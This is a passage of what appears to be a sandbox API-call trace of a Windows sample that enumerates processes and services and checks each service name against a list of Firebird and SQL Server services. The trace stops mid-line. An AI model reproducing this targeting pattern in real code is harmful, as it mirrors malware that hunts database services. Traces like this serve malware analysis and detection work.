lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0281.909] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0281.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0281.909] lstrlenW (lpString="ProfSvc") returned 7 [0281.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0281.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0281.909] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0281.909] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0281.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0281.909] lstrlenW (lpString="RpcEptMapper") returned 12 [0281.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0281.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0281.909] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0281.909] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0281.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0281.910] lstrlenW (lpString="RpcSs") returned 5 [0281.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0281.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0281.910] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0281.910] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0281.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0281.910] lstrlenW (lpString="SamSs") returned 5 [0281.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0281.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0281.910] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0281.910] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0281.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0281.910] lstrlenW (lpString="Schedule") returned 8 [0281.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0281.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0281.910] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0281.910] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0281.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0281.910] lstrlenW (lpString="SecurityHealthService") returned 21 [0281.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0281.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0281.911] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0281.911] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0281.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0281.911] lstrlenW (lpString="SENS") returned 4 [0281.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0281.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0281.911] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0281.911] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0281.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0281.911] lstrlenW (lpString="ShellHWDetection") returned 16 [0281.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0281.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0281.911] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0281.911] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0281.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0281.911] lstrlenW (lpString="Spooler") returned 7 [0281.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0281.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0281.912] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0281.912] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0281.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0281.912] lstrlenW (lpString="StateRepository") returned 15 [0281.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0281.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0281.912] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0281.912] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0281.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0281.912] lstrlenW (lpString="SysMain") returned 7 [0281.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0281.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0281.912] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0281.912] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0281.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0281.912] lstrlenW (lpString="SystemEventsBroker") returned 18 [0281.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0281.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0281.912] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0281.912] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0281.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0281.913] lstrlenW (lpString="Themes") returned 6 [0281.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0281.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0281.913] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0281.913] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0281.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0281.913] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0281.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0281.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0281.913] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0281.913] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0281.913] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45de478 | out: hHeap=0x640000) returned 1 [0281.913] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x544 [0281.920] Process32FirstW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0281.921] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0281.922] lstrlenW (lpString="System") returned 6 [0281.922] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0281.923] lstrlenW (lpString="smss.exe") returned 8 [0281.923] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0281.924] lstrlenW (lpString="csrss.exe") returned 9 [0281.925] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0281.926] lstrlenW (lpString="wininit.exe") returned 11 [0281.926] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0281.927] lstrlenW (lpString="csrss.exe") returned 9 [0281.927] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0281.932] lstrlenW (lpString="winlogon.exe") returned 12 [0281.932] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0281.934] lstrlenW (lpString="services.exe") returned 12 [0281.934] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0281.935] lstrlenW (lpString="lsass.exe") returned 9 [0281.936] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0281.937] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0281.937] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0281.938] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0281.938] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.939] lstrlenW (lpString="svchost.exe") returned 11 [0281.939] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.940] lstrlenW (lpString="svchost.exe") returned 11 [0281.940] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0282.320] lstrlenW (lpString="dwm.exe") returned 7 [0282.320] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.321] lstrlenW (lpString="svchost.exe") returned 11 [0282.321] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.322] lstrlenW (lpString="svchost.exe") returned 11 [0282.322] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.323] lstrlenW (lpString="svchost.exe") returned 11 [0282.323] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.324] lstrlenW (lpString="svchost.exe") returned 11 [0282.324] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.325] lstrlenW (lpString="svchost.exe") returned 11 [0282.325] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.327] lstrlenW (lpString="svchost.exe") returned 11 [0282.327] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.328] lstrlenW (lpString="svchost.exe") returned 11 [0282.328] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.330] lstrlenW (lpString="svchost.exe") returned 11 [0282.330] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.331] lstrlenW (lpString="svchost.exe") returned 11 [0282.331] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.332] lstrlenW (lpString="svchost.exe") returned 11 [0282.332] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0282.335] lstrlenW (lpString="spoolsv.exe") returned 11 [0282.335] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.337] lstrlenW (lpString="svchost.exe") returned 11 [0282.337] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0282.353] lstrlenW (lpString="audiodg.exe") returned 11 [0282.353] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0282.354] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0282.354] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0282.355] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0282.355] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0282.356] lstrlenW (lpString="Memory Compression") returned 18 [0282.356] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.358] lstrlenW (lpString="svchost.exe") returned 11 [0282.358] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0282.360] lstrlenW (lpString="sihost.exe") returned 10 [0282.360] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0282.361] lstrlenW (lpString="taskhostw.exe") returned 13 [0282.361] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0282.362] lstrlenW (lpString="msoia.exe") returned 9 [0282.362] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0282.363] lstrlenW (lpString="explorer.exe") returned 12 [0282.363] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0282.364] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0282.364] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0282.364] lstrlenW (lpString="SearchUI.exe") returned 12 [0282.364] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0282.365] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0282.366] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0282.366] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0282.367] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0282.368] lstrlenW (lpString="chrome64b.exe") returned 13 [0282.368] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x3c0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0282.370] lstrlenW (lpString="consent.exe") returned 11 [0282.370] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x3c0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0282.371] CloseHandle (hObject=0x544) returned 1 [0282.371] Sleep (dwMilliseconds=0x1f4) [0283.350] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69a018 [0283.350] EnumServicesStatusExW (in: hSCManager=0x69a018, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0283.351] GetLastError () returned 0xea [0283.351] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c30) returned 0x45de478 [0283.352] EnumServicesStatusExW (in: hSCManager=0x69a018, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45de478, cbBufSize=0x1c30, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45de478, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0283.352] CloseServiceHandle (hSCObject=0x69a018) returned 1 [0283.353] lstrlenW (lpString="Appinfo") returned 7 [0283.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0283.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0283.353] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0283.353] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0283.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0283.353] lstrlenW (lpString="AppXSvc") returned 7 [0283.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0283.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0283.353] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0283.353] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0283.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0283.353] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0283.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0283.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0283.354] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0283.354] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0283.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0283.354] lstrlenW (lpString="Audiosrv") returned 8 [0283.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0283.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0283.354] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0283.354] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0283.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0283.354] lstrlenW (lpString="BFE") returned 3 [0283.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0283.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0283.354] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0283.354] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0283.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0283.354] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0283.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0283.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0283.354] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0283.354] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0283.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0283.355] lstrlenW (lpString="CDPSvc") returned 6 [0283.355] lstrcmpiW 